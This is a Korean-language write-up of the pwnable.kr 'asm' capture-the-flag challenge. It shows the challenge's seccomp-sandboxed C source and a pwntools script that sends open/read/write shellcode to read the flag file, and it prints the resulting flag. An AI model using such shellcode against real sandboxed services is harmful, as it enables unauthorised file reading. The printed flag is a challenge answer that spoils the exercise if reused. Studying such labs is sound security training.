#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
코드를 보면 seccomp가 걸려있어서 open, read, write, exit시스템 콜만 호출이 가능하다.
밑의 메인함수를 보면 쉘코드를 읽어들여 실행하는 프로그램인 것을 알 수 있다.
asm@pwnable:~$ ls
asm
asm.c
readme
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
asm@pwnable:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
readme를 보면 9026포트에 저 프로그램이 실행되고 있고
디렉토리에 있는 플래그를 읽으면 되는거 같다.
플래그명이 엄~~청 길다 ㅋㅋㅋㅋㅋ
쉘코드를 직접 만들면 엄청 귀찮겠지만 우리에겐 킹갓 pwntools가 있다.
from pwn import *
p = remote('pwnable.kr', 9026)
context.arch = 'amd64'
context.log_level = 'debug'
context.os = 'linux'
shellcode = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, None)
shellcode += shellcraft.read('rax', 'rsp', 1000)
shellcode += shellcraft.write(1, 'rsp', 1000)
p.sendlineafter('give me your x64 shellcode: ', asm(shellcode))
p.interactive()
kimg00n@kimg00n:~/pwnable.kr/asm$ python3 ex.py
[+] Opening connection to pwnable.kr on port 9026: Done
[*] Switching to interactive mode
Mak1ng_shelLcodE_i5_veRy_eaSy
lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00\xae\x83\xc5V\x00X7\xac\xe9\xfe\x00 \xab\x83\xc5\x00\x007\xac\xe9.\x00\x00AA\x00\x00\xb0\xae\x83\xc5V\x00@Ha\xe1=\x00\x00\x00\x00\x007\xac\xe9\xfe\x00\xa0<\xe0\xe1\x00\x00\xad\x83\xc5V\x00\x00\x00\x00\x00\x91~\xf0\xe0
kŅ \xab\x83\xc5V\x00P7\xac\xe9\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91~\x90\xd0U3\x1b֑~`2\xcf"\x9d\xd7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x007\xac\xe9\xfe\x00hQ\xe0\xe1=\x7f\x00\x0b\xbe\xe1=\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xab\x83\xc5V\x00P7\xac\xe9\xfe\x00\x00\x00\x00\x00I\xab\x83\xc5V\x00H7\xac\xe9\xfe\x00\x1c\x00\x00\x00\x00\x00\x00\x00X\xac\xe9\xfe\x00\x00\x00\x00\x00+X\xac\xe9\xfe\x00?X\xac\xe9\xfe\x00OX\xac\xe9\xfe\x00cX\xac\xe9\xfe\x00\x87X\xac\xe9\xfe\x00\x9aX\xac\xe9\xfe\x00\xa7X\xac\xe9\xfe\x00/^\xac\xe9\xfe\x00\x97^\xac\xe9\xfe\x00\xae^\xac\xe9\xfe\x00\xc2^\xac\xe9\xfe\x00\xd4^\xac\xe9\xfe\x00\xe5^\xac\xe9\xfe\x00\xf8^\xac\xe9\xfe\x7f\x00\x00\xac\xe9\xfe\x00\x10\xac\xe9\xfe\x00G_\xac\xe9\xfe\x00\x88_\xac\xe9\xfe\x00\xa8_\xac\xe9\xfe\x00\xc4_\xac\xe9\xfe\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x90\xb3\xe9\xfe\x00\x10\x00\x00\x00\xff\xfb\xeb\xbf\x00\x06\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x83\xc5V\x00\x04\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xbd\xe1=\x7f\x0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xab\x83\xc5V\x00\x0b\x00\x00\x00E\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\xac\xe9\xfe\x00\x1f\x00\x00\x00\xe6_\xac\xe9\xfe\x00\x0f\x00\x00\x00Y9\xac\xe9\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive
$
flag : Mak1ng_shelLcodE_i5_veRy_eaSy